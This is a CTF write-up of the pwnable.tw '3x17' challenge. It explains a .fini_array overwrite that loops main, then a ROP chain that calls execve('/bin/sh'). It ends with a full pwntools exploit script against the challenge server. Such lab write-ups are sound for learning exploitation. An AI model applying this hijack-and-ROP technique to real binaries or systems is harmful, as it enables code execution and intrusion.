# [Pwnable.tw] 3x17 :::info :bulb: The writeup is not my own idea, i reference from another pwner. ::: ## First look The program allows us to input the address and the data to overwrite at the address. ![](https://hackmd.io/_uploads/H1gBgxPIS3.png) All the functions of the program is so hard to understand the flow. ![](https://hackmd.io/_uploads/r1ErgPUH3.png) ## Exploit idea At first, it's hard to do the problem until I got the idea of overwrite the address of function on ".fini_array". In particular, the program will execute in the flow: .init -> main -> .fini ![](https://hackmd.io/_uploads/ByTGMP8H2.png) The ".init" section is executed before the main entry of the program is loaded, it calls each functions in the array of functions in ".init_array". This section is used to perform neccesary setup or initialization tasks before main. On the other hand, the ".fini" section is executed after program finish its main function, and also have array of functions ".fini_array" to execute. So the idea is: - Overwrite the address of the main function into the begin of the fini_array, the address we got here is 0x401b6d ![](https://hackmd.io/_uploads/HkD-SwPrh.png) - After that, the program will be run in an infinite loop because of the main function address in the fini_array - Take advantage of the loop, we can overwrite the shellcode in the rest of the finite array. - When we done the shellcode, we can change the address of main function by another function or ROP gadget to end the loop. ## Pwn When we creating the shellcode, we can use ROPgadget tools to get the suitable gadgets for the shellcode. ![](https://hackmd.io/_uploads/SyXTIPvB2.png) The gadgets i will be used in my exploit: ![](https://hackmd.io/_uploads/rkB8FwPS2.png) We can overwrite like this: ![](https://hackmd.io/_uploads/rkKKFPvSh.png) ## :pencil: The full exploiting script ``` from pwn import * file = ELF("3x17") fini_array_section = file.get_section_by_name('.fini_array') fa = fini_array_section.header.sh_addr p = remote('chall.pwnable.tw', '10105') def send_and_recv(addr, data): p.recvuntil(b'addr:') p.send(str(addr).encode()) p.recvuntil(b'data:') p.send(data) if __name__ == '__main__': #the first 16 bytes sent is the address of the fini section and the main function data1 = p64(0x402960) + p64(0x401b6d) pop_rdi = 0x401696 pop_rsi = 0x406c30 pop_rdx = 0x446e35 pop_rax = 0x41e4af leave = 0x401c4b sys_call = 0x4022b4 send_and_recv(fa, data1) send_and_recv(fa + 16, p64(pop_rdi) + p64(fa + 88)) send_and_recv(fa + 32, p64(pop_rsi) + p64(0)) send_and_recv(fa + 48, p64(pop_rdx) + p64(0)) send_and_recv(fa + 64, p64(pop_rax) + p64(0x3b)) send_and_recv(fa + 80, p64(sys_call) + b"bin/sh\x00\x00") send_and_recv(fa, p64(leave)) p.interactive() ```